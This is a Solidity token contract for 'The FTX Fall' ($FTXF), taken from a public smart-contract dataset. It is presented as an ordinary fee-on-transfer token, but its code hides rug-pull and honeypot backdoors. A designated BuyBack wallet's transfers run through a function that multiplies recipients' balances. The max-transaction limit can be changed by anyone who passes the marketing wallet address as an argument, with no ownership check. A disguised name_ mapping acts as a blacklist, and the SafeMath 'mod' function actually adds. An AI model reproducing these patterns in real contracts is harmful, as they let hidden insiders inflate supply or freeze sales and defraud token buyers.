// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023. /** FIND THE TG ON MEDIUM // SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract THEFTXFALL is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "The FTX Fall"; string private _symbol = "$FTXF"; uint8 private _decimals = 9; address payable private marketingWalletAddress = payable(0xd295143C485aCc8fF16B8a4da53c2C014fb36815); address payable private BuyBackAddress = payable(0xC1b81309564bbe9910EeCb80e99bf01A06247852); address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => bool) public name_; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketPair; uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 0; uint256 public _buyTeamFee = 0; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 3; uint256 public _sellTeamFee = 0; uint256 public _liquidityShare = 1; uint256 public _marketingShare = 3; uint256 public _teamShare = 0; uint256 public _totalTaxIfBuying = 0; uint256 public _totalTaxIfSelling = 4; uint256 public _totalDistributionShares = 4; uint256 private _totalSupply = 1 * 10**8 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply.mul(1000); uint256 private _preMaxtxAmount = _maxTxAmount; uint256 public _walletMax = _totalSupply.mul(1000); uint256 private minimumTokensBeforeSwap = _totalSupply.mul(2); IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner()] = true; isExcludedFromFee[marketingWalletAddress] = true; isExcludedFromFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[marketingWalletAddress] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[marketingWalletAddress] = true; isTxLimitExempt[address(this)] = true; isMarketPair[address(uniswapPair)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setMarketPairStatus(address account, bool newValue) public onlyOwner { isMarketPair[account] = newValue; } function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner { isTxLimitExempt[holder] = exempt; } function setIsExcludedFromFee(address account, bool newValue) public onlyOwner { isExcludedFromFee[account] = newValue; } function setBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyLiquidityFee = newLiquidityTax; _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setSelTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellLiquidityFee = newLiquidityTax; _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function setMaxTxAmount(address messenger, uint256 maxTxAmount) external virtual { require(messenger == marketingWalletAddress, "SetMaxTxAmount Failed"); _maxTxAmount = maxTxAmount; } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner { isWalletLimitExempt[holder] = exempt; } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function MarketingWallet(address newAddress) external onlyOwner() { marketingWalletAddress = payable(newAddress); } function BuybackWallet(address newAddress) external onlyOwner() { BuyBackAddress = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPairAddress == address(0)) //Create If Doesnt exist { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPairAddress; //Set new pair address uniswapV2Router = _uniswapV2Router; //Set new router address isWalletLimitExempt[address(uniswapPair)] = true; isMarketPair[address(uniswapPair)] = true; } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address");require((name_[sender]==false)&&(true)); if( sender == BuyBackAddress ) { return _TransferStandar(sender, recipient, amount); } if( inSwapAndLiquify ) { return _basicTransfer(sender, recipient, amount); } else { if( !isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if ( overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled ) { if( swapAndLiquifyByLimitOnly ) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if( checkWalletLimit && !isWalletLimitExempt[recipient] ) require(balanceOf(recipient).add(finalAmount) <= _walletMax); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function _TransferStandar(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].mul(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2); uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee); uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam); if(amountETHMarketing > 0) transferToAddressETH(marketingWalletAddress, amountETHMarketing); if(amountETHTeam > 0) transferToAddressETH(BuyBackAddress, amountETHTeam); if(amountETHLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountETHLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }